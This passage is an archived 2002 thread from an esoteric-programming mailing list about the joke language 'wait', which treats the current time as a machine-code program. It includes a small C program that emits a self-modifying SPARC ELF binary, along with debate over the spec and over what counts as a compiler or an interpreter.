Date: Thu, 27 Jun 2002 11:43:43 -0400
From: AleksL@aol.com
To: lang@esoteric.sange.fi
Subject: [lang] Re: AW: NS lang
Message-ID: <0D9698AF.76DE19A4.00045F70@aol.com>
X-Mailer: Atlas Mailer 2.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: AleksL@aol.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: AleksL@aol.com
Precedence: bulk
X-list: misc

Unrelated to topic...How do I unsubscribe from this list?





From esoteric@oiva.sange.fi Thu Jun 27 19:12:16 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NbsM-000OOD-00; Thu, 27 Jun 2002 19:12:06 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 27 Jun 2002 19:11:59 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nbro-000OO5-00; Thu, 27 Jun 2002 19:11:32 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 27 Jun 2002 19:11:24 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nbrf-000ONz-00
	for lang@esoteric.sange.fi; Thu, 27 Jun 2002 19:11:23 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5RGBKX00516
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 09:11:20 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 27 Jun 2002 09:11:15 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B9408732.6A6%cristofd@hevanet.com>
In-Reply-To: <Pine.LNX.4.44.0206271447410.24514-100000@melkinpaasi.cs.Helsinki.FI>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

> I took the liberty of adding this standard to ENSI, as
> http://esoteric.sange.fi/ENSI/wait-1.0.txt
> 
> I hope that's okay with you.

Certainly.

By the way, when I said "vastly easier to compile than to interpret"--well,
it depends how broadly you interpret "interpret". I've put together an
"interpreter" for Sun machines which simply puts the result of time() in the
IP's path. It's 120 bytes long, 84 of which are overhead. (It's in machine
language, but using C as an intermediary makes it easier to manipulate.)
Notice that in the interest of concision this "interpreter" does not check
the source file for syntax errors, and therefore cannot be said to conform
to the specification...

#include <stdio.h>

unsigned long code[] = {

    /*ELF header*/
    0x7f454c46, 0x01020120, 0x73756e77, 0x61697420,
    0x00020002, 0x00000001, 0x00000054, 0x00000034,
    0x00000000, 0x00000000, 0x00340020, 0x00010000,
    0x00000000,
    
    /*one-entry program header table*/
    0x00000001, 0x00000000, 0x00000000, 0x00000000,
    0x00000078, 0x00010000, 0x00000007, 0x00010000,
    
    /*code*/
    0x90102000, /*or %g0, 0, %o0; zero as argument for time()*/
    0x8210200d, /*or %g0, 13, %g1; time() is function 13*/
    0x91d02008, /*ta 8; system call trap*/
    0xd0202068, /*stw, %o0, 104; store 32-bit result at address 104*/
    0x81d82068, /*flush 104; update any instruction caches*/
    0x00000000, /*non-instruction; which has been filled in by now*/
    0x90102000, /*or %g0, 0, %o0; zero as argument for exit()*/
    0x82102001, /*or %g0, 1, %g1; exit() is function 1*/
    0x91d02008, /*ta 8; system call trap*/
};

main(){
    fwrite(code,4,30,stdout);
}

If anyone's interested, the wait program seems to be a null program, i.e. a
quine, at the moment. The time is functioning as a branch-if-greater-than
which doesn't get taken. Over the next year or two it'll go on working its
way through different kinds of conditional branches, roughly half of which I
would expect to cause problems; then it will spend a few decades doing
unconditional jumps, which will be illegal; then a few decades of arithmetic
instructions, which will work smoothly for the most part, and then load and
store instructions which depend on how much memory the puppy's allowed; I
have it set to 64K at the moment, because I don't want core dumps to exceed
my storage allocation.

-Daniel.

P.S. The SPARC Architecture Manual has this to say:
"Typically, FLUSH is used in self-modifying code. ...The use of
self-modifying code is discouraged."
It's broad-minded of them to give us an instruction purely to cater to a
programming style they don't approve of, isn't it? :)






From esoteric@oiva.sange.fi Fri Jun 28 01:40:50 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NhwF-000PjQ-00; Fri, 28 Jun 2002 01:40:32 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 01:40:25 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nhny-000Pim-00; Fri, 28 Jun 2002 01:31:58 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 01:31:51 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nhnq-000Pig-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 01:31:50 +0300
Received: from dds.nl (xs241-210-25.dial.tiscali.nl [195.241.210.25])
	by pandora.tiscali.nl (Postfix) with ESMTP id 10F9D43D0E
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 23:01:02 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3D1B896F.4DDCCDDE@dds.nl>
Date: Thu, 27 Jun 2002 23:53:51 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
References: <B9408732.6A6%cristofd@hevanet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Daniel wrote:

> If anyone's interested, the wait program seems to be a null program, i.e. a
> quine, at the moment. The time is functioning as a branch-if-greater-than
> which doesn't get taken. Over the next year or two it'll go on working its
> way through different kinds of conditional branches, roughly half of which I
> would expect to cause problems; then it will spend a few decades doing
> unconditional jumps, which will be illegal; then a few decades of arithmetic
> instructions, which will work smoothly for the most part, and then load and
> store instructions which depend on how much memory the puppy's allowed; I
> have it set to 64K at the moment, because I don't want core dumps to exceed
> my storage allocation.

I dont use a Sun.  But I just realized...  Wouldn't it be possible for the
programmer to generate the wanted program by using a suitable machine language
in which the current time is what the programmer wants?  I think the language
specification should specify what machine language should be used, instead of
making it implementation-dependent.






From esoteric@oiva.sange.fi Fri Jun 28 02:06:08 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NiKv-000PoV-00; Fri, 28 Jun 2002 02:06:01 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 02:05:54 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NiKl-000PoP-00; Fri, 28 Jun 2002 02:05:51 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 02:05:43 +0300 (EEST)
Received: from mta02.btfusion.com ([62.172.195.247] helo=btclick.com)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NiKd-000PoJ-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 02:05:43 +0300
Received: from baroness ([213.121.108.92]) by btclick.com
          (Netscape Messaging Server 4.15) with ESMTP id GYE05H05.MRT for
          <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 00:05:41 +0100 
Received: from djf by baroness with local (Exim 3.35 #1 (Debian))
	id 17NiPT-0006I4-00
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 00:10:43 +0100
From: David Fletcher <david@bubblycloud.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15643.39795.225470.922055@gargle.gargle.HOWL>
Date: Fri, 28 Jun 2002 00:10:43 +0100
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
In-Reply-To: <B9408732.6A6%cristofd@hevanet.com>
References: <Pine.LNX.4.44.0206271447410.24514-100000@melkinpaasi.cs.Helsinki.FI>
	<B9408732.6A6%cristofd@hevanet.com>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
Sender: David Fletcher <david@bubblycloud.com>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: david@bubblycloud.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: david@bubblycloud.com
Precedence: bulk
X-list: misc

Daniel writes:
 > 
 > If anyone's interested, the wait program seems to be a null program, i.e. a
 > quine, at the moment. The time is functioning as a branch-if-greater-than
 > which doesn't get taken. Over the next year or two it'll go on working its
 > way through different kinds of conditional branches, roughly half of which I
 > would expect to cause problems; then it will spend a few decades doing
 > unconditional jumps, which will be illegal; then a few decades of arithmetic
 > instructions, which will work smoothly for the most part, and then load and
 > store instructions which depend on how much memory the puppy's allowed; I
 > have it set to 64K at the moment, because I don't want core dumps to exceed
 > my storage allocation.
 > 

I liked this description.  I would like to propose that the following
prophecy be added to all reliable sacred texts: that when the wait
program produceth "Hello world", the end of the world shall be at
hand.

Perhaps you should also set up a website to show the program of the
second, and its output.

 > 
 > P.S. The SPARC Architecture Manual has this to say:
 > "Typically, FLUSH is used in self-modifying code. ...The use of
 > self-modifying code is discouraged."
 > It's broad-minded of them to give us an instruction purely to cater to a
 > programming style they don't approve of, isn't it? :)
 > 

Somebody should invent a language that will allow you to do anything,
with a spec which strongly recommends that you do nothing.  It would
be good for annoying people who insist on some "correct" or "approved"
style.  All styles of programming in this language will be frowned
upon.

-- 
     David.





From esoteric@oiva.sange.fi Fri Jun 28 03:16:02 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NjQT-00006T-00; Fri, 28 Jun 2002 03:15:49 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 03:15:41 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NjPu-00006M-00; Fri, 28 Jun 2002 03:15:14 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 03:15:06 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NjPk-00005F-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 03:15:04 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5S0F1V21794
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 17:15:01 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 27 Jun 2002 17:14:54 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B940F88E.6AA%cristofd@hevanet.com>
In-Reply-To: <3D1B896F.4DDCCDDE@dds.nl>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

> I dont use a Sun.

As far as I know, I'm about the only person on this list who does. And it's
not even mine--I'm telnetting to it from a Mac (ick). I reported my results
only because I thought some people might be interested.

But I just realized...  Wouldn't it be possible for the
> programmer to generate the wanted program by using a suitable machine language
> in which the current time is what the programmer wants?  I think the language
> specification should specify what machine language should be used, instead of
> making it implementation-dependent.

So you'd like me to prohibit:
A. implementations which use contrived reference languages or mapping
functions to allow for the creation of genuinely useful programs in our
lifetime, and
B. experimentation along these lines with different processors or
environments, without the use of a bulky emulator?

I really don't see who will be served by this. I'd have to either prohibit
Lennie De Villiers's proposed Java implementation, or prohibit all non-Java
implementations, including my own (granted, it's already non-conforming).
The only advantage I can see is that it would guarantee that any two people
who compiled a wait program simultaneously would get the same results,
without having to agree on implementations. This seems a meager benefit.

My counterproposal--and I say this with real goodwill--is that it's time for
a language schism. You should take my spec and descriptions, revise them
into exactly the language you want, give it a new name, and publicize it.
Call it "wait--" or "wait86" or "Gouda" or anything you like.

-Daniel.






From esoteric@oiva.sange.fi Fri Jun 28 05:24:32 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NlQo-0000bZ-00; Fri, 28 Jun 2002 05:24:18 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 05:24:11 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NlQG-0000bS-00; Fri, 28 Jun 2002 05:23:44 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 05:23:37 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NlQ4-0000bM-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 05:23:32 +0300
Received: from dds.nl (xs241-210-25.dial.tiscali.nl [195.241.210.25])
	by pandora.tiscali.nl (Postfix) with ESMTP id 085025A1F6
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 22:56:50 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3D1B862E.7EF7B728@dds.nl>
Date: Thu, 27 Jun 2002 23:39:58 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: AW: NS lang
References: <B94003B8.69D%cristofd@hevanet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Daniel wrote:

> >> On the other hand, it is very easy to write compilers for this language, and
> >> most programs in it are quines, or rather the only program in it compiles to
> >> a quine most of the time.
> >
> > What?  Most programs compile to unrunnable nonsense. However, if the program
> > does happen to work, then there's a high chance it'll output its own source
> > code, namely nothing.
>
> My point exactly. Regarding most programs compiling to unrunnable nonsense:
> -Given that in most machine languages, only a small portion of numbers code
> for invalid instructions--and given that a 64-bit time_t should hold any
> time in the next billion years--any program compiled in that time is more
> likely to compile to runnable nonsense than to unrunnable nonsense. And as
> you say, runnable nonsense usually won't get its act together well enough to
> produce any output at all.
> -However, in machine languages like Intel's, where instructions are not of
> uniform length, it is likely that the last instruction will be truncated
> partway through. Whether the remnant will be filled in with zeroes or the
> program terminated abnormally is implementation-defined.

What I had in mind is that the remnant would be filled with whatever gibberish
happened to be in the memory first, which the compiler may clear to zero but
does not have to.

> -Even when the last instruction is complete, it is implementation-defined
> what happens after it's executed. My inclination is to have the compiler
> provide code for a normal termination right after the time, and hope the
> instruction pointer gets there.  If it doesn't, because the time contains a
> jump to some random spot, the program will probably terminate abnormally; in
> fact this is a larger class of "unrunnable nonsense" than programs
> containing invalid instructions. Is that part of what you meant?

Indeed.

> (A third
> class is programs containing privileged instructions.) In 32 bits of SPARC
> code the chances are under 1/2, if I remember correctly; but in 64 bits I'm
> not sure.
> -I assume a program has to terminate normally to count as a quine?

Yes.  Also, remember that if the program does not terminate and runs the
gibberish after it, this might accidentally produce more output.

> >> Maybe call this the wait programming language?
> >
> > Perhaps...  You know, I think this language beats the lesser-known programming
> > language #13.  Straight from my fortune database, and also findable somewhere
> > through Cat's Eye's website:
> >
> > THE LESSER-KNOWN PROGRAMMING LANGUAGES #13: SLOBOL
> >
> > SLOBOL is best known for the speed, or lack of it, of its compiler.
> > Although many compilers allow you to take a coffee break while they
> > compile, SLOBOL compilers allow you to travel to Bolivia to pick the
> > coffee.  Forty-three programmers are known to have died of boredom
> > sitting at their terminals while waiting for a SLOBOL program to
> > compile.  Weary SLOBOL programmers often turn to a related (but
> > infinitely faster) language, COCAINE.
>
> :)
> Beats it in which direction? "wait" would allow you to terraform Mars and
> evolve the coffee plant afresh there.
> -Daniel.

Yeah, that's what I meant.  Beats it in the direction that it was starting to
go
already.







From esoteric@oiva.sange.fi Fri Jun 28 09:49:11 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NpYu-0001OK-00; Fri, 28 Jun 2002 09:48:57 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 09:48:50 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NpYb-0001OE-00; Fri, 28 Jun 2002 09:48:37 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 09:48:29 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NpYO-0001O8-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 09:48:24 +0300
Received: from dds.nl (xs241-210-25.dial.tiscali.nl [195.241.210.25])
	by pandora.tiscali.nl (Postfix) with ESMTP id A263D5A204
	for <lang@esoteric.sange.fi>; Thu, 27 Jun 2002 22:56:55 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3D1B8818.AD6C3FAA@dds.nl>
Date: Thu, 27 Jun 2002 23:48:08 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
References: <B9401D06.69F%cristofd@hevanet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Daniel wrote:

> A valid wait program consists of an empty text file; any character in a wait
> program constitutes a syntax error, which is fatal, and must be reported.

Must be?  No room for implementation-specific extensions?

> (An implementation which allows C-style comments, or even a file containing
> a single newline character, is not strictly conforming. These are features
> of wait++.)
>
> Notes for compiler writers.
> Unlike many languages, wait looks vastly easier to compile than to
> interpret, at least when the machine language of the machine it's run on is
> used as the reference language, which was the original thought.

I saw you already took this back yourself, so I won't comment.

Actually, I will.

Any compiler can be trivially turned into an interpreter by compiling to a
temporary file, running this temporary file, and deleting it again (well,
except if the program asks the operating system to kill its parent, in which
case the deletion can never take place).  Some interpreters really do work
similarly, by first compiling the program to in-memory byte code and then
interpreting this byte code.

Conversely, any interpreter can be trivially turned into a compiler by
having the compiler output the interpreter with the program as a compile-time
constant.  This is generally considered cheating, but works.

> Some small
> problems that arise in such a case:
> -leading zeroes don't change what natural number it is; so they shouldn't
> change what program is produced either. One answer is to ignore this
> theoretical difficulty; another is to gerrymander the definition of either
> the reference language or the mapping function so as to legitimize the
> behaviour of your implementation.

Perhaps interpret the time in little-endian format?

> -Practically speaking: What should happen if the last instruction in the
> time is cut off halfway through, because instructions are of varying
> lengths? Depending on your memory layout, it might get completed with stray
> data or you might get some kind of memory protection fault. Which one
> happens is undefined by the spec because the sliced instruction means the
> program is not a legitimate machine-language program.

In that case, try to execute something that is not a legitimate instruction.






From esoteric@oiva.sange.fi Fri Jun 28 10:06:28 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nppr-0001Ub-00; Fri, 28 Jun 2002 10:06:27 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 10:06:20 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nppf-0001UU-00; Fri, 28 Jun 2002 10:06:15 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 10:06:08 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NppX-0001UO-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 10:06:07 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5S762V06119
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 00:06:03 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 28 Jun 2002 00:05:56 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B94158E4.6AE%cristofd@hevanet.com>
In-Reply-To: <15643.39795.225470.922055@gargle.gargle.HOWL>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

> I liked this description.  I would like to propose that the following
> prophecy be added to all reliable sacred texts: that when the wait
> program produceth "Hello world", the end of the world shall be at
> hand.

:) "Hello world. Goodbye world. That was fast."
Thinking about it, I've already received a prophecy from a technical-minded
person that I would "destroy the world and find us a new one."
In any case, this seems to bear on the issue of whether the spec should
limit wait to one particular machine language... :)

> Perhaps you should also set up a website to show the program of the
> second, and its output.

I've just done one, though it's very spartan and gives the time in seconds
without translating to assembly. Sorry, but I'm lazy. Anyway:
http://www.cs.pdx.edu/~cristofd/sunwait.cgi
The basic opcode shouldn't change more often than every month and a half.

> Somebody should invent a language that will allow you to do anything,
> with a spec which strongly recommends that you do nothing.  It would
> be good for annoying people who insist on some "correct" or "approved"
> style.  All styles of programming in this language will be frowned
> upon.

:) Right, and we can call the language "Deprecated".

-Daniel.






From esoteric@oiva.sange.fi Fri Jun 28 12:51:10 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NsPA-0002Fu-00; Fri, 28 Jun 2002 12:51:04 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 12:50:57 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NsOa-0002Fn-00; Fri, 28 Jun 2002 12:50:28 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 12:50:21 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NsOP-0002Fh-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 12:50:17 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5S9oEV07919
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 02:50:14 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 28 Jun 2002 02:50:09 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B9417F60.6B2%cristofd@hevanet.com>
In-Reply-To: <3D1B8818.AD6C3FAA@dds.nl>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

>> A valid wait program consists of an empty text file; any character in a wait
>> program constitutes a syntax error, which is fatal, and must be reported.
> 
> Must be?  No room for implementation-specific extensions?

Must be. Of course, the source code is to the wait language what the
appendix is to the human body: purely vestigial, with no function other than
to provide disasters when it goes wrong, and to serve as a subject for
feeble jokes. Which is why I omitted it in sunwait. (Of course a wait
program without source code, like a human without an appendix, is still a
joke, formed by slow blind forces without any of the structural integrity,
reliability, or effectiveness which a designing mind could have
provided...but I digress.)

>> (An implementation which allows C-style comments, or even a file containing
>> a single newline character, is not strictly conforming. These are features
>> of wait++.)
>> 
>> Notes for compiler writers.
>> Unlike many languages, wait looks vastly easier to compile than to
>> interpret, at least when the machine language of the machine it's run on is
>> used as the reference language, which was the original thought.
> 
> I saw you already took this back yourself, so I won't comment.
> 
> Actually, I will.
> 
> Any compiler can be trivially turned into an interpreter by compiling to a
> temporary file, running this temporary file, and deleting it again (well,
> except if the program asks the operating system to kill its parent, in which
> case the deletion can never take place).  Some interpreters really do work
> similarly, by first compiling the program to in-memory byte code and then
> interpreting this byte code.

As I said, it depends how you define "interpreter". If it's defined as an
implementation that produces no translation of the program that outlasts its
own presence in memory, then you're right, of course. But that seems like
stretching what is usually meant by the word. Webster's, surprisingly, has a
definition that I think does a pretty fair job of capturing the distinction
we usually want to make:
"a computer program that translates and executes, statement by statement, a
program written in a high-level language"
I take this to mean that it translates a statement and executes it, then
translates the next statement and executes it, and so on, rather than doing
the translation all at once and then the execution all at once.

Now since a time constitutes only one SPARC operation at the moment, this
distinction doesn't arise with sunwait; my hesitation to call that one an
interpreter in the strictest sense arises from other features. For one
thing, the whole activity of interpretation or translation--of mapping from
instructions to actions--is missing; sunwait just moves a number from one
place to another. Also, "interpreter" connotes, at least vaguely, that when
the thing is run it does not produce any new machine code. (This is a
different distinction than Webster's; I think it is the distinction people
are trying to make by speaking of "just-in-time compilers", which Webster's
would include as a kind of interpreter...)

Of course calling wait a language is at least as much of a stretch as
calling sunwait an interpreter.

It doesn't seem at all problematic to call the interpreters you mention
"interpreters", because they don't produce and execute machine language, and
the compiling to byte code seems like a preparatory step to smooth the way
for the "real job" of interpretation. Now a program that did ONLY the first
part--that translated to byte code, then output the byte code as a
file--everyone would call a compiler.

> Conversely, any interpreter can be trivially turned into a compiler by
> having the compiler output the interpreter with the program as a compile-time
> constant.  This is generally considered cheating, but works.

Again, it works in one sense, but it's not really what people mean by
"compiler". Which I suppose is another way of saying "considered cheating".

>> Some small
>> problems that arise in such a case:
>> -leading zeroes don't change what natural number it is; so they shouldn't
>> change what program is produced either. One answer is to ignore this
>> theoretical difficulty; another is to gerrymander the definition of either
>> the reference language or the mapping function so as to legitimize the
>> behaviour of your implementation.
> 
> Perhaps interpret the time in little-endian format?

I don't think that will help; it would just move the problem to one where
the same time with and without a bunch of extra zeroes on the END mapped to
two different programs.

Now where a zero is not a legitimate instruction--which happens to be the
